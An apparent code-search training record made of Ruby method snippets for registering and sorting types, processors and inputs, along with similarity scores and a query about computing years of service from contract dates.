"def register(mime_type, &blk)\n mime_type = MIME::Types[mime_type].first unless mime_type.is_a?(MIME::Type)\n meth = mime_type.sub_type.gsub(/-/, \"_\").to_sym\n (@index ||= {})[mime_type.to_s] = meth\n meta_def(meth, &blk)\n end",
"def use_types_from(typekit)\n if typekit.respond_to?(:to_str)\n loader.typekit_model_from_name(typekit)\n else loader.register_typekit_model(typekit)\n end\n end",
"def register_mime_types(types)\n cr = Fl::Framework::Attachment::ClassRegistry.registry\n\n types.each do |tk, tv|\n av = (tv.is_a?(Array)) ? tv : [ tv ]\n av.each do |orm|\n cr.register(tk, self, orm)\n end\n end\n end",
"def register_implementation(type, impl_module, _ = nil)\n type = type.name if type.is_a?(PAnyType)\n impl_module = impl_module.name if impl_module.is_a?(Module)\n @type_names_per_implementation[impl_module] = type\n @implementations_per_type_name[type] = impl_module\n nil\n end",
"def parse_types_1(v)\n #if $catalog[:builtins].keys.size== 0\n # STDERR.puts 'parse_directives() must be called before parse_types_1(); exiting.'\n # exit 1\n #end\n\n builtins = Dir[\"#{$graphql_ruby_dir}/lib/graphql/types/*.rb\"]\n builtins.each do |b|\n bc = File.read b\n bc =~ /class\\s+(\\w+)\\s+</\n next unless $1\n $log.debug \"Registering type '#{$1}' as built-in type supported by graphql-ruby.\"\n $catalog[:type_names][$1] = \"::GraphQL::Types::#{$1}\"\n $catalog[:builtins][$1] = true\n next\n end\n\n # Do just some basic things here, which need to be done in 1st pass.\n # The types are parsed \"for real\" later, in pass 2. This 1st pass is here\n # to solve a chicken-or-egg problem.\n v.each do |t|\n $schema_type_map[t['name']] = t\n next if check_skip(t)\n\n name = t['name']\n\n # Do not overwrite (just skip) built-in types\n next if $catalog[:type_names][name]\n\n if $catalog[:type_names][name]\n $log.fatal \"Duplicate type name #{name}. This represents an unhandled case in the script and should be looked into manually; exiting.\"\n exit 1\n end\n\n new_name= old_to_new_name(t)\n $catalog[:type_names][name] = new_name\n\n $catalog[:base_type][new_name] ||=\n if new_name=~ /^Payloads::/\n 'Payloads::BasePayload'\n else\n case t['kind']\n when 'ENUM'\n 'Types::BaseEnum'\n when 'SCALAR'\n 'Types::BaseScalar'\n when 'INPUT_OBJECT'\n 'Inputs::BaseInput'\n when 'INTERFACE'\n 'Interfaces::BaseInterface'\n when 'UNION'\n 'Types::BaseUnion'\n else\n 'Types::BaseObject'\n end\n end\n\n # Even though contents will be filled in later, register files for output to disk here.\n of= new_name.dup\n of.gsub! '::', '/'\n # This is the schema-related part (should be non-modifiable by user)\n $catalog[:schema_outputs][new_name]= of.underscore\n\n if new_name=~ /^(?:Types|Interfaces)::/\n # This is the implementation-related part (user should add implementation code)\n $catalog[:outputs][new_name]= of.underscore\n\n # Implementation test (user should also review/modify test)\n $catalog[:spec_outputs][new_name]= of.underscore\n end\n end\nend",
"def register(name, klass)\n @@parsers ||= {}\n @@parsers[:default] = klass if @@parsers.empty?\n @@parsers[name] = klass\n end",
"def register_bundle_processor(mime_type, klass, &block)\n expire_index!\n\n if block_given?\n name = klass.to_s\n klass = Class.new(Processor) do\n @name = name\n @processor = block\n end\n end\n\n @bundle_processors[mime_type].push(klass)\n end",
"def register(processor)\n return false if @processors.include? processor\n @processors[processor] = true\n end",
"def register_spec_type *args, &block\n if block then\n matcher, klass = block, args.first\n else\n matcher, klass = *args\n end\n TYPES.unshift [matcher, klass]\n end",
"def register(subclass)\n p = subclass.new\n yield p\n p.setup\n @known << p\n end",
"def register_page_type(page_type)\n page_types << page_type\n\n @page_types_by_name ||= {}\n @page_types_by_name[page_type.name] = page_type\n end",
"def new_input_set()\n return SupportedFeatureTypesInputSet.new()\n end",
"def register(type, words, fillers: [])\n registry[type.to_s] = Dictionnary.new(words, fillers: fillers)\n end",
"def register(parser)\n parsers.push parser\n end",
"def register_postprocessor(mime_type, klass, &block)\n expire_index!\n\n if block_given?\n name = klass.to_s\n klass = Class.new(Processor) do\n @name = name\n @processor = block\n end\n end\n\n @postprocessors[mime_type].push(klass)\n end",
"def register_names\n register_attributes.collect {|attr| get_register(attr)}\n end",
"def register\n end",
"def process_registers pig_server, registers\n registers.each do |register|\n resource = register[:resource]\n if register.has_key? :using\n using = register[:using]\n namespace = register[:namespace]\n pig_server.register_code(resource, using, namespace)\n elsif resource.end_with? '.jar'\n pig_server.register_jar(resource)\n else\n raise \"Can't process register with resource #{resource}\"\n end \n end \nend",
"def build\n registry.register(type)\n end",
"def register_mime_types\n types = mime_types.map(&:to_s)\n exts = file_extensions.map(&:to_sym)\n type = types.shift\n ext = exts.shift\n __debug_mime(binding) do\n { type: type, ext: ext, types: types, exts: exts }\n end\n return unless type && ext\n Mime::Type.register(type, ext, types, exts) # TODO: needed?\n Marcel::MimeType.extend(type, extensions: file_extensions.map(&:to_s))\n end",
"def << processor\n raise ArgumentError, \"Can only add sexp processors\" unless\n SexpProcessor === processor || processor.respond_to?(:process)\n @processors << processor\n end",
"def register\n self.class.definitions[name] = self\n self\n end",
"def check_input_types\n inputfiles = {}\n inputfiles[:required] = %i{assembly mut_bulk}\n inputfiles[:optional] = %i{bg_bulk}\n if @options[:input_format] == 'bam'\n inputfiles[:required] << %i{mut_bulk_vcf}\n inputfiles[:optional] << %i{bg_bulk_vcf}\n end\n if @options[:polyploidy]\n inputfiles[:either] = %i{mut_parent bg_parent}\n end\n check_input_files(inputfiles)\n end",
"def register_input_callbacks( io=$stdin )\n\t\tself.on_byte_input( &io.method(:read) )\n\t\tself.on_line_input( &io.method(:gets) )\n\tend",
"def register_postprocessor(mime_type, klass, proc = nil, &block)\n proc ||= block\n mutate_hash_config(:postprocessors, mime_type) do |processors|\n processors.push(wrap_processor(klass, proc))\n processors\n end\n end",
"def store_inputs(operations, location: nil, type: nil)\n store_io(operations, role: 'input', location: location, type: type)\n end",
"def create_attributes_processors_for_type(type_name)\n type = @types[type_name]\n attributes_processors = []\n type.properties.each_pair do |property_name, property|\n attributes_processors <<\n create_processor_for_property(\n property_name,\n property,\n type.required.include?(property.name)\n )\n end\n if type.extends\n attributes_processors = attributes_processors + create_attributes_processors_for_type(type.extends)\n end\n attributes_processors\n end",
"def create_processor_for_property(name, type_property, required)\n property_type = type_property.type\n if property_type == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? type_property.items\n processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n false,\n type_property.items,\n type_property.properties[:default],\n type_property.properties\n )\n else\n processor_for_values = create_processor_for_type(name, type_property.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new(name, required, processor_for_values)\n elsif PRIMITIVE_TYPES.include? property_type\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n required,\n property_type,\n type_property.properties[:default],\n type_property.properties\n )\n else\n create_processor_for_type(name, property_type, required)\n end\n end",
"def sparkRegisterCustomInput(className)\n logNormal($sparkPrefix + \" sparkRegisterCustomInput \" + className + \"\\n\")\n sparkGetSimulationServer()\n sparkCreate(className, $serverPath+'simulation/InputControl/'+className)\nend",
"def register(search_type, options={})\n search_type = search_type.to_s\n @@available_search_types << search_type unless @@available_search_types.include?(search_type)\n end",
"def register(search_type, options={})\n search_type = search_type.to_s\n @@available_search_types << search_type unless @@available_search_types.include?(search_type)\n end",
"def register(object); end",
"def use(processor)\n definition << processor\n processor\n end",
"def register_type(klass, type)\n raise StandardError, \"Class #{klass} should be subclass of #{Node}\" unless klass <= Node\n\n registered_types[type] = klass\n end",
"def add_pointer_input(kind, name); end",
"def registered_node_types\n [Nodes::String, Nodes::MustExclude, Nodes::MustInclude, Nodes::Text]\n end",
"def register hash\n hash.each_pair do |name, engine_class|\n raise \"Class must implement the CanTango Engine API. You can start by sublclassing CanTango::Engine\" if !engine? engine_class\n raise \"Name of engine must be a String or Symbol\" if !name.kind_of_label?\n registered[name.to_sym] = engine_class\n end\n end",
"def valid_processors; end",
"def register_type(type, &block)\n register CastWhenType.new(type, &block)\n end",
"def input_handler(input)\n processed = case \n when input.class == Hash\n [ input ]\n when input.class == Array\n input\n else\n raise ArgumentError, \"Unrecognized input class: #{input.class}\"\n end\n end",
"def register_parser_type(type, parser_klass, extensions = nil)\n unless Base > parser_klass\n raise ArgumentError, \"expecting parser_klass to be a subclass of YARD::Parser::Base\"\n end\n parser_type_extensions[type.to_sym] = extensions if extensions\n parser_types[type.to_sym] = parser_klass\n end",
"def register_dynamic(object); end",
"def register(interface)\n InvalidInterfaceError.check(interface)\n \n interfaces[interface.to_s.demodulize.underscore.to_sym] = interface\n end",
"def register\n end",
"def register\n end",
"def register\n end",
"def match_types(input, outnode, attrs, op)\n (0..op.input_arg.length - 1).each do |i|\n inType = input[i].out_data_types[input[i].definition.name]\n attrs[op.input_arg[i].type_attr] = inType if inType != 0 and op.input_arg[i].type_attr\n end\n\n (0..op.output_arg.length - 1).each do |i|\n argType = type_to_enum(op.output_arg[i].type)\n if op.output_arg[i].type_attr != \"\" and argType != 0\n attrs[op.output_arg[i].type_attr] = argType # TODO\n end\n end\n\n op.attr.each do |attribute|\n if attribute.type == \"type\"\n isTypeProvided = attrs[attribute.name]\n attrs[attribute.name] = type_to_enum(attribute.default_value) if !isTypeProvided\n end\n end\n\n op.output_arg.each do |arg|\n argType = type_to_enum(arg.type)\n outnode.out_data_types[outnode.definition.name] = attrs[arg.type_attr]\n # TODO\n end\n nil\n end",
"def register_bundle_processor(mime_type, klass, &block)\n mutate_hash_config(:bundle_processors, mime_type) do |processors|\n processors.push(wrap_processor(klass, block))\n processors\n end\n end",
"def register\n \n end",
"def add (input)\n @g_inputs << input\n end",
"def initTypes\n raise NotImplementedError\n # local = new ArrayList<>();\n # localContext = new ArrayList<>();\n # dynamic = new ArrayList<>();\n #\n # for(int i=0; i<v.length; ++i) {\n # Extractor e = v[i];\n # if(e.isLocal() && e.isDynamic())\n # throw new RuntimeException(\"Extractors can't both be local and dynamic!\");\n # if(e.isLocal()) {\n # local.add(Pair.makePair(i,e));\n # //localContext.put(i,e);\n # } else if(e.isDynamic()) {\n # dynamic.add(Pair.makePair(i,e));\n # } else {\n # localContext.add(Pair.makePair(i,e));\n # }\n # }\n # if(DEBUG) {\n # log.info(\"Extractors: \"+this);\n # System.err.printf(\"Local: %d extractors\\n\",local.size());\n # System.err.printf(\"Local context: %d extractors\\n\",localContext.size());\n # System.err.printf(\"Dynamic: %d extractors\\n\",dynamic.size());\n # }\n end",
"def register_type(type, klass, method_name, &block)\n end",
"def find_wrapper_mapping(input_type); end",
"def generate_types\n pal.generate_types(cache: true)\n end",
"def register_fulfillment_processor mod\n uniq_code = mod.name\n return unless verify_uniq_fulfillment_processor(uniq_code)\n return unless verify_fulfillment_module(mod)\n install_fulfillment_processor(uniq_code, mod)\n end"
] |
[
"0.7248186",
"0.70079464",
"0.61349016",
"0.608289",
"0.60565305",
"0.6026795",
"0.59526396",
"0.5814985",
"0.57171327",
"0.5573388",
"0.5551062",
"0.55263644",
"0.5521432",
"0.5451655",
"0.5423894",
"0.5418293",
"0.53842056",
"0.537881",
"0.5364725",
"0.5359885",
"0.53386736",
"0.5334555",
"0.53169906",
"0.53072417",
"0.52683645",
"0.52601224",
"0.5237373",
"0.52369785",
"0.523131",
"0.5219827",
"0.52185255",
"0.5183012",
"0.5176984",
"0.5164311",
"0.51631236",
"0.51518434",
"0.5148599",
"0.5136228",
"0.51347876",
"0.5108953",
"0.50893426",
"0.50818276",
"0.50714135",
"0.5048216",
"0.5030753",
"0.5019828",
"0.4996808",
"0.49902874",
"0.49629816",
"0.4956222",
"0.49555415",
"0.4934671",
"0.4934275",
"0.4933935",
"0.49294895",
"0.4929455",
"0.49240297",
"0.4918632",
"0.4908788",
"0.49055803",
"0.4904497",
"0.48967466",
"0.48882183",
"0.48828176",
"0.4870044",
"0.48647058",
"0.4862777",
"0.4861185",
"0.48594078",
"0.48593476",
"0.48554152",
"0.48498634",
"0.4845948",
"0.48401263",
"0.48396233",
"0.48396233",
"0.4839227",
"0.4835337",
"0.48347694",
"0.48128545",
"0.48108616",
"0.48087746",
"0.48027205",
"0.48005033",
"0.4795885",
"0.4791218",
"0.47883418",
"0.47879755",
"0.4783192",
"0.4783192",
"0.4783192",
"0.47805014",
"0.4780442",
"0.47726",
"0.4771325",
"0.47626153",
"0.47457507",
"0.4740147",
"0.47225916",
"0.47099748"
] |
0.72125626
|
1
|
Sort the processor inputs by their class type.
|
def _SortInputs
@inputs.each() do |input|
if(input.is_a?(Rokuby::ProjectInstance))
@projectInstance = input
elsif(input.is_a?(Rokuby::ProjectDescription))
@projectDescription = input
elsif(input.is_a?(Rokuby::ProjectConfiguration))
@projectConfigurations.push(input)
elsif(input.is_a?(Rokuby::VsProjectInstance))
@vsProjectInstance = input
elsif(input.is_a?(Rokuby::VsProjectDescription))
@vsProjectDescription = input
elsif(input.is_a?(Rokuby::VsProjectConfiguration))
@vsProjectConfigurations.push(input)
elsif(input.is_a?(Rokuby::VsProject))
@vsProjects.push(input)
elsif(input.is_a?(Rokuby::VsProjectUsage))
@vsProjectUsages.push(input)
elsif(input.is_a?(Rokuby::PassthroughDefines))
@passthroughDefines.push(input)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _SortInputs()\n @inputs.each() do |input|\n if(input.is_a?(Rokuby::ProjectInstance))\n @projectInstance = input\n elsif(input.is_a?(Rokuby::ProjectDescription))\n @projectDescription = input\n elsif(input.is_a?(Rokuby::ProjectConfiguration))\n @projectConfigurations.push(input)\n elsif(input.is_a?(Rokuby::GppProjectDescription))\n @gppProjectDescription = input\n elsif(input.is_a?(Rokuby::GppProjectConfiguration))\n @gppProjectConfigurations.push(input)\n elsif(input.is_a?(Rokuby::GppProject))\n @gppProjects.push(input)\n elsif(input.is_a?(Rokuby::PassthroughDefines))\n @passthroughDefines.push(input)\n end\n end\n end",
"def sort_input(input, property, order); end",
"def _SortInputs\n @inputs.each() do |input|\n if(input.is_a?(Rokuby::VsSolutionDescription))\n @vsSolutionDescription = input\n elsif(input.is_a?(Rokuby::VsProject))\n @vsProjects.push(input)\n end\n end\n end",
"def sort\n @nodes.each { |n| n.sort }\n\n # sort_by lets us build an array of numbers that Ruby then uses\n # to sort the list. Our method here is to simply specify the\n # depth a given class is in a heirarchy, as bigger numbers end\n # up sorted farther down the list\n @nodes =\n @nodes.sort_by do |a|\n if a.is_a?(ClassNode)\n superclass_count(a.code)\n elsif a.is_a?(ImplicitCasterNode) # Hmm, hack\n 1_000_000\n else\n 0\n end\n end\n end",
"def sort(type, in_order)\n @products.sort_by!(&type)\n @products.reverse! if in_order == :down\n @products\n end",
"def sort_by_type!\n children.sort! do |x, y|\n if x.is_a?(PBXGroup) && y.is_a?(PBXFileReference)\n -1\n elsif x.is_a?(PBXFileReference) && y.is_a?(PBXGroup)\n 1\n else\n x.display_name <=> y.display_name\n end\n end\n end",
"def sort_by_type!\n children.sort! do |x, y|\n if x.is_a?(PBXGroup) && y.is_a?(PBXFileReference)\n -1\n elsif x.is_a?(PBXFileReference) && y.is_a?(PBXGroup)\n 1\n else\n x.display_name <=> y.display_name\n end\n end\n end",
"def sort_params; end",
"def sort_params; end",
"def condition_sort(input)\n poke_name = input.poke_name\n product_db = SearchRecord::For.klass(Entity::Product)\n case input.sort\n when 'id'\n product_db.find_full_name(poke_name)\n when 'likes_DESC'\n product_db.order_by_desc_likes(poke_name)\n when 'likes_ASC'\n product_db.order_by_asc_likes(poke_name)\n when 'rating_DESC'\n product_db.order_by_desc_rating(poke_name)\n when 'rating_ASC'\n product_db.order_by_asc_rating(poke_name)\n when 'price_DESC'\n product_db.order_by_desc_price(poke_name)\n else\n # priceASC\n product_db.order_by_asc_price(poke_name)\n end\n end",
"def get_sorted_module_list classes\n classes.select do |klass|\n klass.display?\n end.sort\n end",
"def sort_params_for(model_class)\n return {} if params[:sort].nil?\n model_methods = model_class.attribute_names\n sort_params_a = params[:sort].gsub(/\\s+/, '').split(',')\n sort_params = {}\n sort_params_a.each do |h|\n param_name= h.tr('-','')\n #raise Exceptions::InvalidSortException unless model_methods.include? param_name\n sort_params[param_name.to_sym] = (h[0]=='-' )? :desc : :asc if model_methods.include? param_name\n end\n sort_params\n end",
"def processes(*types)\n types.each do |type|\n raise 'processor already registered for type %s'%type if @@processor_registry[type]\n @@processor_registry[type] = self\n end\n\n @allowed_command_types ||= []\n @allowed_command_types.concat types\n end",
"def sort_dependencies!(params)\n params.each do |x|\n next unless [:require, :before, :notify, :subscribe].include?(x[0])\n if x[1].class == Array\n x[1].sort!\n end\n end\n end",
"def sort_types\n @sort_types ||= begin\n sql = <<-SQLT\n SELECT\n CASE\n WHEN min(sortkey) < 0 THEN 'interleaved'\n ELSE 'compound'\n END AS sort_type, tablename\n FROM pg_table_def\n WHERE tablename in (#{tables_for_sql})\n GROUP BY tablename\n SQLT\n RailsRedshiftReplicator.connection.exec(sql.squish).entries\n end\n end",
"def safeSort type\r\n\t\traise \"CrossValidatorSet::InvalidSortType\" if ! @@acceptableSortMethods.include? type.to_sym\r\n\t\t@set.sort{|a, b| a.getError.rmse <=> b.getError}\r\n\tend",
"def sort(input, property = T.unsafe(nil)); end",
"def my_array_sorting_method(source)\n source.reject{|x| x.is_a? String}.sort + source.reject{|x| x.is_a? Numeric}.sort\nend",
"def classify(features)\r\n # Order by probability\r\n res = classes.sort_by do |class_name|\r\n class_probability(features, class_name)\r\n end\r\n\r\n return res[-1]\r\n end",
"def sort_by(attribute)\n sorted_processes = @_list.sort { |a, b| a.send(attribute) <=> b.send(attribute) }\n ProcessList.new(sorted_processes)\n end",
"def parse_sort_input(property); end",
"def get_classes\n (attr['class'] || '').downcase.split(' ').sort\n end",
"def recognize_sort(input)\n sort_products = condition_sort(input[:requested])\n\n Success(sort_products)\n rescue StandardError\n Failure(Response::ApiResult.new(status: :internal_error, message: DB_ERR_MSG))\n end",
"def sorted_for_field(field)\n for_field(field).sort\n end",
"def sort_obj\n [@name, @version, Gem::Platform.sort_priority(@new_platform)]\n end",
"def own_class_method_objects sort: true\n class_method_objects false, sort: sort\n end",
"def sort_types(hash)\n new_hash = {}\n hash.each_pair do |type, array_units|\n\n #TODO\n #data = sort_names array_units\n data = array_units\n \n new_hash[type] = data\n end\n return new_hash\n end",
"def sort_params=(_arg0); end",
"def sort_params=(_arg0); end",
"def sort_ops\n operations.running.sort_by { |op| sort_array(op) }.extend(OperationList)\n end",
"def get_input_types(env, receiver)\n inputs.map{|input| get_type(env, input, receiver)}\n end",
"def sort_params(params)\n Hash[params.sort]\n end",
"def sort_entries; end",
"def get_sorted_list(type)\n temp_array = @items.select { |item| item.instance_of?(type) }\n case type\n when TodoItem\n temp_array.sort! { |i, j| i.due.to_s <=> j.due.to_s }\n when EventItem\n temp_array.sort! { |i, j| i.start_date.to_s <=> j.start_date.to_s }\n when LinkItem\n temp_array.sort! { |i, j| i.site_name <=> j.site_name }\n end\n temp_array\n end",
"def sort_name\n sort_constituent\n end",
"def each_classmodule(&block) # :yields: module\n classes_and_modules.sort.each(&block)\n end",
"def each_classmodule(&block) # :yields: module\n classes_and_modules.sort.each(&block)\n end",
"def sorted(tasks)\n tasks.sort_by {|task| task[:priority]}\nend",
"def sort_files!; end",
"def sorted(tasks)\r\n tasks.sort_by {|task| task[\"priority\"]}\r\nend",
"def order(processing_method)\n processing_methods.index(processing_method)\n end",
"def my_array_sorting_method(source)\n num = source.grep(Fixnum)\n str = source.grep(String)\n return num.sort + str.sort\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def class_names\n return if @class_names.empty?\n @class_names.uniq.sort\n end",
"def sort_natural(input, property = T.unsafe(nil)); end",
"def orders\n params.fetch(:sort).split(',').map do |string|\n next unless string =~ /\\A-?\\w+\\z/ # allow only word chars\n\n order(string)\n end.compact\n end",
"def sort\n @entries = DependencySorter.new(@entries).sorted_items\n end",
"def sortingTheClasses (upcomingClasses)\n #i need to take the values out of the database and \n #make a hash then return the hash so that it can \n #access the data members better by date. \n upcomingClasses.sort_by{ |k, v| v[:date]}.reverse\nend",
"def my_array_sorting_method(source)\n\tsource.partition{|x| x.is_a? Integer}.map(&:sort)\nend",
"def sorted_interfaces\n process if @interfaces.nil?\n\n sorter.sort.map { |name|\n @interfaces.find { |i| i.name == name } or puts \"ignoring interface: #{name}\"\n }.compact\n end",
"def sort\n super { |x, y| x.file_name <=> y.file_name }\n end",
"def sort_variants(css_class_with_variants, variants_order:)\n *variants, css_class = css_class_with_variants.split(\":\")\n return css_class_with_variants if variants.length <= 1\n\n variants.sort_by! { |variant| variants_order.index(variant) }\n \"#{variants.join(':')}:#{css_class}\"\nend",
"def puppetsort(hash)\n # TODO(sissel): Implement sorting that follows the puppet style guide\n # Such as, 'ensure' goes first, etc.\n return hash.to_a\n end",
"def sort_keys\n sort_definitions.keys\n end",
"def my_array_sorting_method(source)\n source.partition{|x| x.is_a? Integer}.map(&:sort)\nend",
"def processors(*args)\n preprocessors(*args)\n end",
"def sort(array_of_nodes, order); end",
"def sort_composer\n @ole.SortComposer\n end",
"def sensible_sort(unsorted)\n return unsorted.sort_by {|k| k.to_s.split(/((?:(?:^|\\s)[-+])?(?:\\.\\d+|\\d+(?:\\.\\d+?(?:[eE]\\d+)?(?:$|(?![eE\\.])))?))/ms).map{|v| Float(v) rescue v.downcase}}\nend",
"def sort\n return @sort\n end",
"def sorted_fields\n @sorted_fields ||= fields.sort_by {|tag, _| tag}\n end",
"def sort_array_by_fields(array, default_order = \"launched_on\")\n sort_by = self.class::SORT_FIELDS[params[:order_by] || default_order]\n array = array.sort(&sort_by)\n\n params[:order_dir] != Sortable::DIRECTION_ASC ? array.reverse : array\n end",
"def sort\n # Find a cycle in the move graph and pick a register to spill to break it.\n spillee = nil\n each_strongly_connected_component do |component|\n if component.size > 1\n fail if spillee # There is one cycle with 3 registers.\n spillee = component.first.src\n end\n end\n\n # Break the cycle.\n spill(spillee) if spillee\n\n tsort\n end",
"def lbSort _args\n \"lbSort _args;\" \n end",
"def sort_entries=(_arg0); end",
"def my_array_sorting_method(source)\n return source.partition{|x| x.is_a? Integer}.map(&:sort).flatten\nend",
"def order_instances(bcs)\n tmp = {}\n bcs.each { |bc_name,instances|\n order = BarclampCatalog.run_order(bc_name)\n tmp[bc_name] = {order: order, instances: instances}\n }\n #sort by the order value (x,y are an array with the value of\n #the hash entry\n t = tmp.sort{ |x,y| x[1][:order] <=> y[1][:order] }\n Rails.logger.debug(\"ordered instances: #{t.inspect}\")\n t\n end",
"def process_sort_by\n case public_plans_params.fetch(:sort_by, 'featured')\n when 'created_at'\n 'plans.created_at desc'\n when 'title'\n 'TRIM(plans.title) asc'\n else\n 'plans.featured desc, plans.created_at desc'\n end\n end",
"def sort\n self[:sort]\n end",
"def sort(objects)\n objects.sort_by {|x| x.to_s }\nend",
"def sort(objects)\n objects.sort_by {|x| x.to_s }\nend",
"def sort_controls\n sort_type = @config[:runtime_config][:sort_results_by]\n return unless sort_type\n return if sort_type == \"none\"\n\n @run_data[:profiles]&.each do |p|\n p[:controls] ||= []\n p[:groups] ||= []\n\n case sort_type\n when \"control\"\n p[:controls].sort_by! { |c| c[:id] }\n when \"random\"\n p[:controls].shuffle!\n when \"file\"\n # Sort the controls by file, but preserve order within the file.\n # Files are called \"groups\" in the run_data, and the filename is in the id.\n sorted_control_ids = p[:groups].sort_by { |g| g[:id] }.map { |g| g[:controls] }.flatten\n controls_by_id = {}\n p[:controls].each { |c| controls_by_id[c[:id]] = c }\n p[:controls] = sorted_control_ids.map { |cid| controls_by_id[cid] }\n end\n end\n end",
"def sti_list(klass)\n (klass.descendants << klass).sort_by(&:name)\n end",
"def my_array_sorting_method(source)\n source.sort_by { |x| x.to_s }\nend",
"def sort\n @pokers.sort.reverse\n end",
"def task_type_order_clause\n task_types_sorted_by_label = Task.descendants.sort_by(&:label).map(&:name)\n task_types_sql_array = \"array#{task_types_sorted_by_label}::varchar[]\".tr('\"', \"'\")\n task_type_sort_position = \"#{task_types_sql_array}, tasks.type\"\n \"array_position(#{task_type_sort_position}) #{sort_order}\"\n end",
"def sorting(numbers)\n numbers.sort\nend",
"def priority_order(action_by_priority)\n action_by_priority.keys.sort\n end",
"def my_array_sorting_method(source)\n # sort by converting the integers, if there are, into strings for the purpose of sorting only\n return source.sort {|a,b| a.to_s <=> b.to_s }\nend",
"def sort()\n\t\t@events = @events.sort do |a,b| a[0] <=> b[0] end\n\tend",
"def sort_pokemon_shop(symbol_of_shop)\n @pokemon_shop_list[symbol_of_shop].sort_by! { |hash| [hash[:id], hash[:form].to_i] }\n end",
"def sortable_call\n [self.call1, self.call2, self.call3, self.call4].map{|c| (c||\"\").gsub(/([0-9.]+)/, ' \\1 ').split(\" \").map{|s| s =~ /^[0-9.]+$/ ? s.to_f : s} }\n [self.call1, (self.call2 =~ /^[0-9.]+$/ ? self.call2.to_f : self.call2) ] + \"#{self.call3}#{self.call4}\".gsub(/[^a-zA-Z.0-9]/,'').gsub(/([0-9.]+)/, ' \\1 ').split(\" \") # .map{|s| s =~ /^[0-9.]+$/ ? s.to_f : s}\n end",
"def handleInput(inputs)\n\t\tinputArgs = ARGV.map(&:upcase)\n\t\tinputArgs = inputArgs.sort\n\treturn inputArgs\nend",
"def ordering_params(params)\n ordering = {}\n if params[:sort]\n sort_order = { '-' => :asc, '+' => :desc }\n\n sorted_params = params[:sort].split(',')\n sorted_params.each do |attr|\n sort_sign = attr.match?(/\\A[+-]/) ? attr.slice!(0) : '+'\n model = controller_name.classify.constantize\n if model.attribute_names.include?(attr)\n ordering[attr] = sort_order[sort_sign]\n end\n end\n end\n ordering\n end",
"def my_array_sorting_method(source)\n source.sort_by { |element|\n element.to_s\n }\nend",
"def grand_sorting_machine(array)\n\n\n\nend",
"def convert_sort_params\n @sort_params = []\n #convert sort params to database columns\n if params[:sorting] && params[:sorting].is_a?(Array)\n params[:sorting].each do |p|\n\n sort = sort.reject{|k, v| !@resource.attribute_method?(k) || !['asc', 'desc'].include?(v.downcase)}\n\n @sort_params.push(sort)\n end\n end\n @sort_params\n end",
"def classorder_params\n params[:classorder]\n end",
"def tvSort _args\n \"tvSort _args;\" \n end",
"def bubble_sort(&prc)\n prc ||= Proc.new { |a, b| a <=> b }\n self.sort! &prc\n end",
"def classify(features)\r\n # # Order by probability\r\n feature_normalized = get_features_normalized(features)\r\n \r\n res = @classes.sort_by do |klasse|\r\n discriminating(klasse, feature_normalized)\r\n end.first\r\n\r\n res\r\n end",
"def sort_data\n store.sort_data!\n end",
"def input_handler(input)\n processed = case \n when input.class == Hash\n [ input ]\n when input.class == Array\n input\n else\n raise ArgumentError, \"Unrecognized input class: #{input.class}\"\n end\n end",
"def _RegisterInputTypes\n @knownInputClasses.push(Rokuby::ProjectDescription)\n @knownInputClasses.push(Rokuby::ProjectConfiguration)\n @knownInputClasses.push(Rokuby::ProjectInstance)\n @knownInputClasses.push(Rokuby::GppProjectDescription)\n @knownInputClasses.push(Rokuby::GppProjectConfiguration)\n @knownInputClasses.push(Rokuby::GppProject)\n @knownInputClasses.push(Rokuby::PassthroughDefines)\n end"
] |
[
"0.6628803",
"0.64709336",
"0.6179869",
"0.6051488",
"0.5699299",
"0.5618864",
"0.5580779",
"0.5507297",
"0.5507297",
"0.5502321",
"0.5485752",
"0.545048",
"0.5422761",
"0.54021055",
"0.53812546",
"0.53680146",
"0.5360166",
"0.5341489",
"0.531298",
"0.52939904",
"0.5290155",
"0.5251392",
"0.5232489",
"0.521297",
"0.5197253",
"0.51748115",
"0.5164063",
"0.5099837",
"0.5099837",
"0.5093083",
"0.5081795",
"0.50747675",
"0.504417",
"0.504171",
"0.50251323",
"0.50191426",
"0.50191426",
"0.50152373",
"0.49993244",
"0.49725455",
"0.49566996",
"0.49524415",
"0.493426",
"0.493426",
"0.493426",
"0.493426",
"0.493426",
"0.493426",
"0.493426",
"0.4930816",
"0.49275997",
"0.4922179",
"0.49145132",
"0.490891",
"0.49030066",
"0.49017534",
"0.49004114",
"0.48949084",
"0.48903948",
"0.4873946",
"0.48732972",
"0.4863507",
"0.48580784",
"0.4856955",
"0.48543996",
"0.48390615",
"0.483881",
"0.48323795",
"0.4807094",
"0.4803321",
"0.47991723",
"0.47985724",
"0.478742",
"0.47777602",
"0.4777655",
"0.4776934",
"0.4776934",
"0.47763038",
"0.47761396",
"0.4776123",
"0.4771709",
"0.47713214",
"0.47665328",
"0.47649172",
"0.4764325",
"0.47612068",
"0.47587997",
"0.47566655",
"0.47560826",
"0.47520506",
"0.47514778",
"0.47420958",
"0.4738753",
"0.4735842",
"0.47298947",
"0.47281474",
"0.47246256",
"0.47236615",
"0.47217584",
"0.47152248"
] |
0.64605355
|
2
|
Time in years between BeginContract and Period.end
|
def years_of_service(period=nil)
# TODO: need a real general purpose date diff by year
# function since this is likely needed in multiple places.
return 0 if contract_start.nil?
period = Period.current if period.nil?
if (period.finish > contract_start)
tmp_date = period.finish
count = 0
while (tmp_date.prev_year >= contract_start.to_date)
tmp_date = tmp_date.prev_year
count += 1
end
count
else
0
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def years_count\n ((@end_date - @start_date).to_f / 365).to_f.round(1)\n end",
"def end_year\n Time.now.year - 90\n end",
"def get_begin_date\n get_end_date.prev_year\n end",
